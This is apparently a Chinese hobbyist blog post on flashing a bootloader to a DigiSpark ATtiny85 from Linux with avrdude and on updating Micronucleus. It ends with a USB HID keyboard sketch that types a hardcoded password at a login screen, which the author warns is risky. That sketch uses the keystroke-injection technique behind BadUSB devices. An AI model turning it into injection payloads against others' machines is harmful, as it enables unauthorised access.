<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ4fP_yZj24ThDAx0ydZM9yPinSdPDWOCBy5K5yr5f6O8YU3pl_ko9bU8L_on6V9CpkmLTyF5ZJGlXCzQpuTXxg_2PPCkE3Kig1aslIu9LNKS42V0z1QcDq-8p-6egGmFted3cA9BCl6lt8v0BGWW_FZpmW4YCG2dZofG5TxpMXuKUuf3U5r6KtPff/w0/digispark-attiny85-board-046.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ4fP_yZj24ThDAx0ydZM9yPinSdPDWOCBy5K5yr5f6O8YU3pl_ko9bU8L_on6V9CpkmLTyF5ZJGlXCzQpuTXxg_2PPCkE3Kig1aslIu9LNKS42V0z1QcDq-8p-6egGmFted3cA9BCl6lt8v0BGWW_FZpmW4YCG2dZofG5TxpMXuKUuf3U5r6KtPff/w600/digispark-attiny85-board-046.png"/></a></div>
<div>由於 burn_attiny85_bootloader.bat 是 Windows 的 批次檔案,無法在 Linux 上執行<br/>
因此修改成 Shell Script 及部分設定值,讓腳本可以在 Linux 上執行</div>
<br/>
<div>當然閣下亦可以將在下已經修改的 Shell Script 複製再修改亦可<br/>
<pre class="brush:bash">#!/bin/bash
arduino_user_dir="/arduino_user_dir"
avrdude_dir="${arduino_user_dir}/hardware/tools/avr"
"${avrdude_dir}/bin/avrdude" \
-C"${avrdude_dir}/etc/avrdude.conf" \
-v \
-p"attiny85" \
-c"stk500v1" \
-P"/dev/ttyACM0" \
-b"19200" \
-U"flash:w:t85_default.hex":i \
-U lfuse:w:0xe1:m \
-U hfuse:w:0xdd:m \
-U efuse:w:0xfe:m</pre>
或 <a href="data:text/plain;UTF-8,%23%21%2Fbin%2Fbash%0Aarduino_user_dir%3D%22%2Farduino_user_dir%22%0Aavrdude_dir%3D%22%24%7Barduino_user_dir%7D%2Fpackages%2Farduino%2Ftools%2Favrdude%2F6.3.0-arduino17%22%0A%22%24%7Bavrdude_dir%7D%2Fbin%2Favrdude%22%20%5C%0A-C%22%24%7Bavrdude_dir%7D%2Fetc%2Favrdude.conf%22%20%5C%0A-v%20%5C%0A-p%22attiny85%22%20%5C%0A-c%22stk500v1%22%20%5C%0A-P%22%2Fdev%2FttyACM0%22%20%5C%0A-b%2219200%22%20%5C%0A-U%22flash%3Aw%3At85_default.hex%22%3Ai%20%5C%0A-U%20lfuse%3Aw%3A0xe1%3Am%20%5C%0A-U%20hfuse%3Aw%3A0xdd%3Am%20%5C%0A-U%20efuse%3Aw%3A0xfe%3Am" download="burn_attiny85_bootloader.sh">按此下載 burn_attiny85_bootloader.sh</a><br/>
需要注意的是<br/>
<ul>
<li>arduino_user_dir 需要修改成閣下正在使用的 Arduino IDE 的使用者設定目錄</li>
<li>在下使用的 Arduino UNO 的位置為 /dev/ttyACM0 ,閣下需要將些位置改修成閣下的 ISP 裝置的位置</li>
</ul>
<!--pre class="brush:bash">:1019800017C0197A4005930B09021200010100806B
:101990003209040000000000000012011001FF00E5
:1019A0000008D016530703020000000104030904D5
:1019B00011241FBECFE5D2E0CDBFDEBF20E0A0E600
:1019C000B0E001C01D92AC38B207E1F7BFC1A82F4B
:1019D000B92F80E090E041E050EA609530E009C026
:1019E0002D9182279795879510F084279527305E53
:1019F000C8F36F5FA8F30895EADF8D939D93089570
:101A0000CF93CFB7CF93C395B39BE9F7B39B0BC0ED
:101A1000B39B09C0B39B07C0B39B05C0B39B03C076
:101A2000B39B01C0D9C00F92DF93C0916E00DD2738
:101A3000CA58DF4F012EB39B03C0DF910F90E6CF52
:101A40002F930F931F934F932FEF4F6F06B303FB0B
:101A500020F95F933F9350E03BE065C016B3012649
:101A6000502953FDC89556B3012703FB25F92F7361
:101A700006B3B1F05027102713FB26F906B2223027
:101A8000F0F000C016B3012703FB27F90126502907
:101A900006B22430E8F54F77206816B30000F6CF81
:101AA00050274F7D206206B2102F000000C006B301
:101AB00000265029102713FB26F906B2E2CF4F7BF0
:101AC00006B3206400C0DACF01265029187106B28F
:101AD00069F14E7F2160012F16B328C000265029DE
:101AE0004D7F06B22260102F29C0012650294B7F5E
:101AF00006B22460012F2DC016B301265029477F5E
:101B00002860000006B22EC04F7E06B3206130C0B0
:101B1000422706B3499300265029102706B24FEFFB
:101B200013FB20F9297F16B379F2187159F10126B8
:101B3000502906B2012703FB21F9237F06B371F276
:101B4000002650293150D0F006B2102713FB22F99D
:101B5000277E16B351F201265029012703FB06B256
:101B600023F92F7C49F2000006B3102713FB24F958
:101B70000026502906B22F7939F270CF10E21ABF31
:101B800000271DC03B503195C31BD04010E21ABF47
:101B90000881033C29F10B3419F120916C00198163
:101BA000110F1213EDCF093651F10D3211F0013E34
:101BB00039F7CAE01AB715FD02C0CA95D9F70093E4
:101BC00074003F915F914F911F910F912F91DF9181
:101BD0000F90CAB7C5FD17CFCF91CFBFCF91089552
:101BE00020917400222369F3109172001123F1F403
:101BF0003430F2F03093720020936D0019C00091E0
:101C0000720001309CF40AE530916F0034FD11C080
:101C100000936F00C1E6D0E010C0052710E000C0BF
:101C200021C0052710E0C89508BB14C03AE501C0E3
:101C300032ED032EC0E0D0E032E017B31861C39A52
:101C400008B317BB58E120E84FEF20FF052708BB7A
:101C5000279517951C3F28F700004552B0F720FF45
:101C60000527279508BB17951C3FB8F629913A958B
:101C700061F7077E10917300110F08BBC250D0406E
:101C800011F010936C0010E21ABF086017B3177EB2
:101C9000402F477E54E05A95F1F708BB17BB48BB6D
:101CA00090CF2FEFB0E8A0E04AE0B1BF000081EE96
:101CB0009CE0B399FECFB39BFECF0197B399FDCFC4
:101CC00097FF03C0BA1B819501C0BA0FA69539F4DE
:101CD000A0E428F4281710F031B7282FA1E04150D4
:101CE00021F731BF00000895F201309741F02AE753
:101CF000421629E1520629F481B790E002C08FEB29
:101D00009CEC21E00C0120935700E8951124CF01B1
:101D100002962C01089514BE88E181BD87E081BD43
:101D2000BB9A2FE28BE19FE0215080409040E1F789
:101D300000C00000BB988AE580936F008FEF80930E
:101D40006000AC9A8BB780628BBF0895EAE7F9E137
:101D5000E491EF3F11F0E1BF0000DDDF712C312C89
:101D6000412C512CCCE7D5E114E686B3887109F0FB
:101D700014E6115029F41092730010926C0091DF58
:101D80000AB605FE05C03CDE80E28ABF712C04C0A5
:101D9000219759F7C0E0D0E0A89522E032120CC09C
:101DA000E0E8F9E1E054F10983E080935700E89519
:101DB0003097C1F7412C512C832D803459F4F20116
:101DC0003297E03889E1F80750F485E080935700B6
:101DD000E89505C0843019F4CD2B11F4EAC0312CFC
:101DE00080917200835087FD99C090916D009D3263
:101DF00009F092C0883009F08FC083EC80936100B5
:101E00008AE580936F0080917700807690917800CA
:101E1000882379F1911108C082E899E190937100CB
:101E20008093700086E06DC0913069F441145104D4
:101E3000F1F080917B00807C482E50907C0081E105
:101E400087BFE89514C0933081F480917900909118
:101E50007A004ADF80917B0090917C0045DF842DE1
:101E60008F7329F490E4392E4CC09F73392E80E093
:101E700048C08091790010926A00911106C01092BA
:101E80006B002AE630E082E038C0953019F4809388
:101E9000730025C09630E9F490917A00913019F4DE
:101EA0008AE999E104C0923041F488E899E190937D
:101EB00071008093700082E124C09330C1F68111DB
:101EC000D6CF8CEA99E1909371008093700084E002
:101ED00018C0983079F0993031F4809375002AE673
:101EE00030E080E00AC081E09A3009F080E02AE624
:101EF00030E003C025E730E081E0309371002093AB
:101F0000700090917E00911105C090917D0098170E
:101F100008F4892F809360001092720080916F0006
:101F200084FF31C0809160008F3F69F1C82F8930F4
:101F300008F0C8E08C1B809360009091610088E8F5
:101F4000892780936100CC2391F080917000A2E6F4
:101F5000B0E0E82FF091710094919D9331969C2F01
:101F6000980F9E13F9CFF0937100E09370006C2FDF
:101F700082E690E041DDCC5FCC3019F08FEF8093AA
:101F80006000C0936F00C30101963C01803B944008
:101F900029F4EDE7F9E1E491EF3F59F40AB605FEC3
:101FA000E1CE8DE1B39B8DE18150E1F780E28ABF04
:0C1FB000D9CEB1DE1BBE15BAE1CCFFCFCC
:040000030000198060
:00000001FF</pre>
或 <a href="data:text/plain;UTF-8,%3A1019800017C0197A4005930B09021200010100806B%0A%3A101990003209040000000000000012011001FF00E5%0A%3A1019A0000008D016530703020000000104030904D5%0A%3A1019B00011241FBECFE5D2E0CDBFDEBF20E0A0E600%0A%3A1019C000B0E001C01D92AC38B207E1F7BFC1A82F4B%0A%3A1019D000B92F80E090E041E050EA609530E009C026%0A%3A1019E0002D9182279795879510F084279527305E53%0A%3A1019F000C8F36F5FA8F30895EADF8D939D93089570%0A%3A101A0000CF93CFB7CF93C395B39BE9F7B39B0BC0ED%0A%3A101A1000B39B09C0B39B07C0B39B05C0B39B03C076%0A%3A101A2000B39B01C0D9C00F92DF93C0916E00DD2738%0A%3A101A3000CA58DF4F012EB39B03C0DF910F90E6CF52%0A%3A101A40002F930F931F934F932FEF4F6F06B303FB0B%0A%3A101A500020F95F933F9350E03BE065C016B3012649%0A%3A101A6000502953FDC89556B3012703FB25F92F7361%0A%3A101A700006B3B1F05027102713FB26F906B2223027%0A%3A101A8000F0F000C016B3012703FB27F90126502907%0A%3A101A900006B22430E8F54F77206816B30000F6CF81%0A%3A101AA00050274F7D206206B2102F000000C006B301%0A%3A101AB00000265029102713FB26F906B2E2CF4F7BF0%0A%3A101AC00006B3206400C0DACF01265029187106B28F%0A%3A101AD00069F14E7F2160012F16B328C000265029DE%0A%3A101AE0004D7F06B22260102F29C0012650294B7F5E%0A%3A101AF00006B22460012F2DC016B301265029477F5E%0A%3A101B00002860000006B22EC04F7E06B3206130C0B0%0A%3A101B1000422706B3499300265029102706B24FEFFB%0A%3A101B200013FB20F9297F16B379F2187159F10126B8%0A%3A101B3000502906B2012703FB21F9237F06B371F276%0A%3A101B4000002650293150D0F006B2102713FB22F99D%0A%3A101B5000277E16B351F201265029012703FB06B256%0A%3A101B600023F92F7C49F2000006B3102713FB24F958%0A%3A101B70000026502906B22F7939F270CF10E21ABF31%0A%3A101B800000271DC03B503195C31BD04010E21ABF47%0A%3A101B90000881033C29F10B3419F120916C00198163%0A%3A101BA000110F1213EDCF093651F10D3211F0013E34%0A%3A101BB00039F7CAE01AB715FD02C0CA95D9F70093E4%0A%3A101BC00074003F915F914F911F910F912F91DF9181%0A%3A101BD0000F90CAB7C5FD17CFCF91CFBFCF91089552%0A%3A101BE00020917400222369F3109172001123F1F403%0A%3A101BF0003430F2F03093720020936D0019C00091E0%0A%3A101C0000720001309CF40AE530916F0034FD11C080%0A%3A101C100000936F00C1E6D0E010C0052710E000C0BF%0A%3A101C200021C0052710E0C89508BB14C03AE501C0E3%0A%3A101C300032ED032EC0E0D0E032E017B31861C39A52%0A%3A101C400008B317BB58E120E84FEF20FF052708BB7A%0A%3A101C5000279517951C3F28F700004552B0F720FF45%0A%3A101C60000527279508BB17951C3FB8F629913A958B%0A%3A101C700061F7077E10917300110F08BBC250D0406E%0A%3A101C800011F010936C0010E21ABF086017B3177EB2%0A%3A101C9000402F477E54E05A95F1F708BB17BB48BB6D%0A%3A101CA00090CF2FEFB0E8A0E04AE0B1BF000081EE96%0A%3A101CB0009CE0B399FECFB39BFECF0197B399FDCFC4%0A%3A101CC00097FF03C0BA1B819501C0BA0FA69539F4DE%0A%3A101CD000A0E428F4281710F031B7282FA1E04150D4%0A%3A101CE00021F731BF00000895F201309741F02AE753%0A%3A101CF000421629E1520629F481B790E002C08FEB29%0A%3A101D00009CEC21E00C0120935700E8951124CF01B1%0A%3A101D100002962C01089514BE88E181BD87E081BD43%0A%3A101D2000BB9A2FE28BE19FE0215080409040E1F789%0A%3A101D300000C00000BB988AE580936F008FEF80930E%0A%3A101D40006000AC9A8BB780628BBF0895EAE7F9E137%0A%3A101D5000E491EF3F11F0E1BF0000DDDF712C312C89%0A%3A101D6000412C512CCCE7D5E114E686B3887109F0FB%0A%3A101D700014E6115029F41092730010926C0091DF58%0A%3A101D80000AB605FE05C03CDE80E28ABF712C04C0A5%0A%3A101D9000219759F7C0E0D0E0A89522E032120CC09C%0A%3A101DA000E0E8F9E1E054F10983E080935700E89519%0A%3A101DB0003097C1F7412C512C832D803459F4F20116%0A%3A101DC0003297E03889E1F80750F485E080935700B6%0A%3A101DD000E89505C0843019F4CD2B11F4EAC0312CFC%0A%3A101DE00080917200835087FD99C090916D009D3263%0A%3A101DF00009F092C0883009F08FC083EC80936100B5%0A%3A101E00008AE580936F0080917700807690917800CA%0A%3A101E1000882379F1911108C082E899E190937100CB%0A%3A101E20008093700086E06DC0913069F441145104D4%0A%3A101E3000F1F080917B00807C482E50907C0081E105%0A%3A101E400087BFE89514C0933081F480917900909118%0A%3A101E50007A004ADF80917B0090917C0045DF842DE1%0A%3A101E60008F7329F490E4392E4CC09F73392E80E093%0A%3A101E700048C08091790010926A00911106C01092BA%0A%3A101E80006B002AE630E082E038C0953019F4809388%0A%3A101E9000730025C09630E9F490917A00913019F4DE%0A%3A101EA0008AE999E104C0923041F488E899E190937D%0A%3A101EB00071008093700082E124C09330C1F68111DB%0A%3A101EC000D6CF8CEA99E1909371008093700084E002%0A%3A101ED00018C0983079F0993031F4809375002AE673%0A%3A101EE00030E080E00AC081E09A3009F080E02AE624%0A%3A101EF00030E003C025E730E081E0309371002093AB%0A%3A101F0000700090917E00911105C090917D0098170E%0A%3A101F100008F4892F809360001092720080916F0006%0A%3A101F200084FF31C0809160008F3F69F1C82F8930F4%0A%3A101F300008F0C8E08C1B809360009091610088E8F5%0A%3A101F4000892780936100CC2391F080917000A2E6F4%0A%3A101F5000B0E0E82FF091710094919D9331969C2F01%0A%3A101F6000980F9E13F9CFF0937100E09370006C2FDF%0A%3A101F700082E690E041DDCC5FCC3019F08FEF8093AA%0A%3A101F80006000C0936F00C30101963C01803B944008%0A%3A101F900029F4EDE7F9E1E491EF3F59F40AB605FEC3%0A%3A101FA000E1CE8DE1B39B8DE18150E1F780E28ABF04%0A%3A0C1FB000D9CEB1DE1BBE15BAE1CCFFCFCC%0A%3A040000030000198060%0A%3A00000001FF" download="t85_default.hex">按此下載 t85_default.hex</a--></div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzfNRqLfxqA6TJ6LzpsYL7QwUbW5b8RAhrq7OU7rT8nnfN9moeo5Lvtrs2HoTRhGcjpS89vKxjg2wi6pvipX6_4_z8MW0DBaBKn_7BhZP_EQE9datxXPti47anc4OUju1hV1U17aLDPZr7m0DDiBs2XhW3R0ntpzVEsM3J5-rsL1MExzqXbpAD30tl/w0/digispark-attiny85-board-047.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzfNRqLfxqA6TJ6LzpsYL7QwUbW5b8RAhrq7OU7rT8nnfN9moeo5Lvtrs2HoTRhGcjpS89vKxjg2wi6pvipX6_4_z8MW0DBaBKn_7BhZP_EQE9datxXPti47anc4OUju1hV1U17aLDPZr7m0DDiBs2XhW3R0ntpzVEsM3J5-rsL1MExzqXbpAD30tl/w600/digispark-attiny85-board-047.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhApSzAPLr1ra_va-_vEsS6idx0brURcddsDwoBgNW_zBdJor6fYaR8JGRyJtkJJz9wHSK8d_3kw7QczLduEclR3S5ow5YU700icwpIpZXVGyB_UKNnLE-LodUpnla5vso57C1mYjmKAztBvt_3oDai7L28VRNBdQsYwuGUFJmRBJ9Q1XjqnwqNdDOr/w0/digispark-attiny85-board-048.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhApSzAPLr1ra_va-_vEsS6idx0brURcddsDwoBgNW_zBdJor6fYaR8JGRyJtkJJz9wHSK8d_3kw7QczLduEclR3S5ow5YU700icwpIpZXVGyB_UKNnLE-LodUpnla5vso57C1mYjmKAztBvt_3oDai7L28VRNBdQsYwuGUFJmRBJ9Q1XjqnwqNdDOr/w600/digispark-attiny85-board-048.png"/></a></div>
<div>修改完成後執行 burn_attiny85_bootloader.bat 等待起動器燒錄到 ATtiny85</div>
<br/>
<a name="更新上載器"></a><h4 class="mra-h4">更新上載器</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBdK3zKNDYDckfXCoQ_4CFDJh9K6Duk7J16QDGww4E-qr1IpQcjX8_XhbZe5KR6HLE2qbrNJo8xSzW-tw4ZWG2NseMfy-vlbo12lqz4t2SzwbrArNIGE6yc3X7KKqyqrCOsfB3Nln0kE36fz0H4CFtgZjDaa8zXV96L3VXnnA_l7gmeVbYWH6l6Mdv/w0/digispark-attiny85-board-049.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBdK3zKNDYDckfXCoQ_4CFDJh9K6Duk7J16QDGww4E-qr1IpQcjX8_XhbZe5KR6HLE2qbrNJo8xSzW-tw4ZWG2NseMfy-vlbo12lqz4t2SzwbrArNIGE6yc3X7KKqyqrCOsfB3Nln0kE36fz0H4CFtgZjDaa8zXV96L3VXnnA_l7gmeVbYWH6l6Mdv/w600/digispark-attiny85-board-049.png"/></a></div>
<div>雖然已經將起動器燒錄到 ATtiny85<br/>
但上載 Sketch 時,顯示 Micronucleus 上載器版本不支援新版本的 DigiSpark</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsfF3_sVKrV8EO24vnpJINFqYx92UMUlgTt-0DOq_AYfdTscAkOt3LUf_-Uwo4jfZQ_aKZW9uExmm9rtrXYSV5wOMHJQrrhh-_f4G0YczGyqIA2Ke31idAQf7milhpC68u7Px7ckTW-6csc-GZkT3vrKGMCOdmvkelFGW9Co7jjibXKp42jd2k4QOW/w0/digispark-attiny85-board-050.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsfF3_sVKrV8EO24vnpJINFqYx92UMUlgTt-0DOq_AYfdTscAkOt3LUf_-Uwo4jfZQ_aKZW9uExmm9rtrXYSV5wOMHJQrrhh-_f4G0YczGyqIA2Ke31idAQf7milhpC68u7Px7ckTW-6csc-GZkT3vrKGMCOdmvkelFGW9Co7jjibXKp42jd2k4QOW/w600/digispark-attiny85-board-050.png"/></a></div>
<div>到 <a href="https://github.com/micronucleus/micronucleus">https://github.com/micronucleus/micronucleus</a> 下載最新版本的 Micronucleus</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiMqBEdvO3j1IUZZXWdMdgEnkxFiv8q6E2Xdrc8jzrVq0ElcPYKGyznQ8StvcTjQ1sCx9VAvGnk6cao4sqDgr1cW56_f8zHVHFQotmnx92t5GyHfazv0gjP4LE_elb_vHROecoDZgoVi34poeq86d9YOFVBQr8unxEGbq8ObOkicEW2924FiJ_eKnY/w0/digispark-attiny85-board-051.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiMqBEdvO3j1IUZZXWdMdgEnkxFiv8q6E2Xdrc8jzrVq0ElcPYKGyznQ8StvcTjQ1sCx9VAvGnk6cao4sqDgr1cW56_f8zHVHFQotmnx92t5GyHfazv0gjP4LE_elb_vHROecoDZgoVi34poeq86d9YOFVBQr8unxEGbq8ObOkicEW2924FiJ_eKnY/w600/digispark-attiny85-board-051.png"/></a></div>
<div>將 最新版本的 Micronucleus 存放到 <span class="mra-highlighter">${arduino_user_dir}/packages/digistump/tools/micronucleus/<Version></span><br/>
在下將不同版本的 Micronucleus 都保存,方便選擇不同版本,並建立捷徑來調用合適的版本</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfb9MA6TMxf_8LsHZ0LhOS7mbKSHIACll9O_GMjYlRXNG-gjd1OPSdw9gyMm61QgR8R83pp2n2dMtoFkAa0kX__GjdhUPnGx_-_Yg6wgb7A7v-YC0Oby7vFu_tjFXHOwl4xdd-_eWM_IjGhtVZwxL8iaOOw95t_xw_QDJG6jLb78cHjugQeYhWp48d/w0/digispark-attiny85-board-052.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfb9MA6TMxf_8LsHZ0LhOS7mbKSHIACll9O_GMjYlRXNG-gjd1OPSdw9gyMm61QgR8R83pp2n2dMtoFkAa0kX__GjdhUPnGx_-_Yg6wgb7A7v-YC0Oby7vFu_tjFXHOwl4xdd-_eWM_IjGhtVZwxL8iaOOw95t_xw_QDJG6jLb78cHjugQeYhWp48d/w600/digispark-attiny85-board-052.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1lr060QClYZbbUf0WHmcbrR3PoFYC-rOozHw_RlpFQO01f8kjtbeYIk1wlj03QGoii31DMeJqOo1eUDLMArf5V09r7E3rtQx2st333dxXtdp3P5vxVGHBB6M34mtz9XvcC5sz2jt35nTCmS-V8cZiqM3EgCdzp14-zCl4E7xIk4_ZI5QLD4xjtGiu/w0/digispark-attiny85-board-053.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1lr060QClYZbbUf0WHmcbrR3PoFYC-rOozHw_RlpFQO01f8kjtbeYIk1wlj03QGoii31DMeJqOo1eUDLMArf5V09r7E3rtQx2st333dxXtdp3P5vxVGHBB6M34mtz9XvcC5sz2jt35nTCmS-V8cZiqM3EgCdzp14-zCl4E7xIk4_ZI5QLD4xjtGiu/w600/digispark-attiny85-board-053.png"/></a></div>
<div>使用最新版本的 Micronucleus 後,可以只經過 USB 便可以將 Sketch 上載到 ATtiny85</div>
<br/>
<a name="補充資料"></a><h4 class="mra-h4">補充資料</h4>
<div>ATtiny85 除了細小,將 Micronucleus 燒錄到起動器,還能夠像 ATmega32u8 一般模擬 USB HID 裝置的訊號<br/>
但 ATtiny85 並不支援 Arduino 原生的 Keyboard.h 及 Mouse.h 等函式庫<br/>
需要使用由 DigiSpark 提供的 DigiKeyboard.h 及 DigiMouse.h 等函式庫</div>
<br/>
<pre class="brush:cpp">////////// ino file //////////
#include <DigiKeyboard.h>
#include "Config.h"
void setup() {
pinMode(LED_PIN, OUTPUT);
digitalWrite(LED_PIN, LOW);
for (byte i = 0; i < 1000 / INIT_DELAY; i++) {
digitalWrite(LED_PIN, !digitalRead(LED_PIN));
delay(INIT_DELAY);
}
digitalWrite(LED_PIN, HIGH);
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_A, MOD_GUI_LEFT);
delay(10);
DigiKeyboard.sendKeyStroke(KEY_A, MOD_CONTROL_LEFT);
delay(10);
DigiKeyboard.print(MY_PASSWORD);
DigiKeyboard.print("\n");
digitalWrite(LED_PIN, LOW);
}
void loop() {
}</pre>
<pre class="brush:cpp">////////// Config.h //////////
#define LED_PIN 1
#define INIT_DELAY 50
#define MY_PASSWORD "Your Login Password"</pre>
<div>在下製作一個模仿登入認證的 Sketch 可以在登入畫面連接 DigiSpark USB 後,自動填寫密碼及登入<br/>
<span style="color: #FF0000; font-size: 24pt;">(警告:<br/>
純粹娛樂及測試效果,實際上是非常危險<br/>
若果 DigiSpark 遺失,便會洩漏密碼)</span></div>
<br/>
<div><a href="https://photos.google.com/share/AF1QipP-q_ZxwR1TcdRndnGDqm42isrCq5KH_cMwygrJKvMbad1SM4FwUgt-t2lDGBwK1w/photo/AF1QipMckmZV9_uUfQ715bh99ol1GLOVV04HjY6R68if?key=YkE4dFhoeFBycE8zSlJ5ZDNGTzcyUTBidjBqaGtn"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVIxIu9lJ29xfRkw9_5EJlOSiNtiz-uJ2UnSmQhpZVoQCio1pcHwtSVVYvovvwry4GQwcebMvfTBMjzqG6PD7eXQeThySUYEalJm1HKbdSqiLgwcQ6WmK_7Ow359Gwkr-6u5BVjRdCYys/w600/digispark-attiny85-board-057.mp4"/></a></div>
<div><a href="https://photos.google.com/share/AF1QipP-q_ZxwR1TcdRndnGDqm42isrCq5KH_cMwygrJKvMbad1SM4FwUgt-t2lDGBwK1w/photo/AF1QipMXSLoP2pVReA7sSxLT3NvgCeYmz8VAbASut3wz?key=YkE4dFhoeFBycE8zSlJ5ZDNGTzcyUTBidjBqaGtn"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-8PNyKsH9nm5bXlVz7fy8SJJm3EfGH6HPhKuS_IW17VyVQbV3qWiwiDWJhgvEr_6lI9AuwecXAuWe9MiNyR-e9RnIaw69dqjb5GQdAC5pMPkpb0bym07GXPtiHhB3J8x3RCdsv10wA_E/w600/digispark-attiny85-board-058.mp4"/></a></div>
<div>支援模擬成 USB 訊號的 ATtiny85</div>
<br/>
<div>由於 Arduino IDE 沒有收錄所有 DigiSpark 函式庫,要使用其他 DigiSpark 函式庫<br/>
需要自行到 <a href="https://github.com/digistump/DigisparkArduinoIntegration/tree/master/libraries">https://github.com/digistump/DigisparkArduinoIntegration/tree/master/libraries</a> 下載並安裝</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<a name="使用ArduinoDroid"></a><h5 class="mra-h5">使用ArduinoDroid</h5>
<div>由於能夠透過 OTG USB 將 Android裝置 以宿主連接 USB裝置<br/>
因此 Android 可以經 OTG USB 將 Sketch 上載到 DigiSpark<br/>
DigiSpark 體績細小,配合 Android裝置 的便攜性,可以隨時編寫及製作電子控制裝置</div>
<br/>
<div>到 <a href="https://play.google.com/store/apps/details?id=name.antonsmirnov.android.arduinodroid2">https://play.google.com/store/apps/details?id=name.antonsmirnov.android.arduinodroid2</a> 安裝 ArduinoDroid</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYY0nBvb89R53g-SobWZQkWngKXwunofQ1Lhi4TDl2IpRyU_aqlA2wnKpwQ6wK4pZh8vVTD4oiNVckMWbgYsw77_56CYuJSpYeDAOJSn699sXWf4-mlf20cOjgOhOgvtYUpcfwXxT9R5bvEIt5G3fq9iqpJT95f-5M8SaGhRSSyuI6o2RGdMZL-kFq/w0/digispark-attiny85-board-062.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYY0nBvb89R53g-SobWZQkWngKXwunofQ1Lhi4TDl2IpRyU_aqlA2wnKpwQ6wK4pZh8vVTD4oiNVckMWbgYsw77_56CYuJSpYeDAOJSn699sXWf4-mlf20cOjgOhOgvtYUpcfwXxT9R5bvEIt5G3fq9iqpJT95f-5M8SaGhRSSyuI6o2RGdMZL-kFq/w600/digispark-attiny85-board-062.png"/></a></div>
<div>可以編寫 Sketch</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3ehbXM2aNA7sv1QEZIfg8U5eFdcvYOfrkfBvussy2l8RYU0158cirJifrH4MKsXODSgdaKjPEZLG3pYML_Zt0DYHJmlflI3EkuRtjWmbyvWiKc1hCsf4x4EYolQUsfZorBceRpf1E2v46Jc8a7aC4IdrKmYhterm8YAxbQC65994Ucojj_qGd_lcS/w0/digispark-attiny85-board-063.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3ehbXM2aNA7sv1QEZIfg8U5eFdcvYOfrkfBvussy2l8RYU0158cirJifrH4MKsXODSgdaKjPEZLG3pYML_Zt0DYHJmlflI3EkuRtjWmbyvWiKc1hCsf4x4EYolQUsfZorBceRpf1E2v46Jc8a7aC4IdrKmYhterm8YAxbQC65994Ucojj_qGd_lcS/w600/digispark-attiny85-board-063.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk0J-B7hEmGgZcznfBHcU-Nj4rtPggNnopcybH8Qv2qfNMZy12l7U9IH9FC5PXFtJL3iYDdKA-upB2rNme9gV8wPaeEBoVOGASat73u-Ib7NOtFJz4sgaqN1K3AuzR9JRgrgOrPMyt01mDUxGP0Fr98hDWIqh8uVYDKdbyON4xXToUOcPb4wBLGq_w/w0/digispark-attiny85-board-064.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk0J-B7hEmGgZcznfBHcU-Nj4rtPggNnopcybH8Qv2qfNMZy12l7U9IH9FC5PXFtJL3iYDdKA-upB2rNme9gV8wPaeEBoVOGASat73u-Ib7NOtFJz4sgaqN1K3AuzR9JRgrgOrPMyt01mDUxGP0Fr98hDWIqh8uVYDKdbyON4xXToUOcPb4wBLGq_w/w600/digispark-attiny85-board-064.png"/></a></div>
